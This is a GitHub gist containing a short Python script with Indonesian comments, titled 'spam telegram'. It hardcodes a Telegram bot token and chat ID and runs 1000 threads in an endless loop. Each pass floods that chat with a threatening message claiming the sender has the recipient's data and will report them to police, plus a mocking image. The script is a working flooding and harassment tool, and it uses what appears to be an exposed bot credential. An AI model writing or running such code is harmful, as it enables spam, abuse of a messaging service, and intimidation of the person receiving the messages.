Created
March 28, 2026 11:33
-
-
Save Xnuvers007/a35eb3feb2b2240cbdf33f1b89f58ca1 to your computer and use it in GitHub Desktop.
spam telegram. telegram spam telegram spamtelegram
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| import requests | |
| from concurrent.futures import ThreadPoolExecutor, as_completed | |
| BOT_TOKEN = '8727956129:AAFx9aJZDAjjmQ5z_SCJLz11QtuwozZU_OM' | |
| CHAT_ID = '7497722198' | |
| SEND_MESSAGE_URL = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage" | |
| SEND_PHOTO_URL = f"https://api.telegram.org/bot{BOT_TOKEN}/sendPhoto" | |
| WORKERS = 1000 | |
| def send_telegram_message(text_message): | |
| """Fungsi untuk mengirim pesan teks tunggal""" | |
| url = SEND_MESSAGE_URL | |
| payload = { | |
| 'chat_id': CHAT_ID, | |
| 'text': text_message, | |
| 'parse_mode': 'markdown' | |
| } | |
| try: | |
| response = requests.post(url, data=payload) | |
| if response.status_code == 200: | |
| print("Pesan berhasil terkirim!") | |
| else: | |
| print(f"Gagal mengirim pesan. Status Code: {response.status_code}") | |
| print(f"Response: {response.text}") | |
| except Exception as e: | |
| print(f"Terjadi kesalahan koneksi: {e}") | |
| def send_telegram_photo(image_url, caption=""): | |
| """Fungsi untuk mengirim gambar melalui URL""" | |
| url = SEND_PHOTO_URL | |
| payload = { | |
| 'chat_id': CHAT_ID, | |
| 'photo': image_url, | |
| 'caption': caption | |
| } | |
| try: | |
| response = requests.post(url, data=payload) | |
| if response.status_code == 200: | |
| print("Gambar berhasil terkirim!") | |
| else: | |
| print(f"Gagal mengirim gambar. Status Code: {response.status_code}") | |
| print(f"Response: {response.text}") | |
| except Exception as e: | |
| print(f"Terjadi kesalahan koneksi: {e}") | |
| def run_concurrent_tasks(): | |
| """Fungsi untuk menjalankan tugas secara bersamaan menggunakan ThreadPoolExecutor""" | |
| with ThreadPoolExecutor(max_workers=WORKERS) as executor: | |
| futures = [] | |
| while True: | |
| pesan_teks = "Istigfar bang, gaboleh gitu, dosa. gw udah dapet data data lu nih, bisa kali gw laporin. lu pilih tobat atau gw laporin ke polisi, lu pilih deh." | |
| futures.append(executor.submit(send_telegram_message, pesan_teks)) | |
| url_gambar_peringatan = "https://1.bp.blogspot.com/-P5do_we1wrA/VUx_gx2pDcI/AAAAAAAAIWE/YOErFirxF70/s1600/gambar%2Bmonyet%2B(6).jpg" | |
| futures.append(executor.submit(send_telegram_photo, url_gambar_peringatan, caption="Ini gambar lu, muka lu nih.")) | |
| for future in as_completed(futures): | |
| try: | |
| future.result() | |
| except Exception as e: | |
| print(f"Terjadi kesalahan saat menjalankan tugas: {e}") | |
| futures.clear() | |
| if __name__ == "__main__": | |
| run_concurrent_tasks() | |
| # while True: | |
| # pesan_teks = "Istigfar bang, gaboleh gitu, dosa. gw udah dapet data data lu nih, bisa kali gw laporin. lu pilih tobat atau gw laporin ke polisi, lu pilih deh." | |
| # send_telegram_message(pesan_teks) | |
| # url_gambar_peringatan = "https://1.bp.blogspot.com/-P5do_we1wrA/VUx_gx2pDcI/AAAAAAAAIWE/YOErFirxF70/s1600/gambar%2Bmonyet%2B(6).jpg" | |
| # send_telegram_photo(url_gambar_peringatan, caption="Ini gambar lu, muka lu nih.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment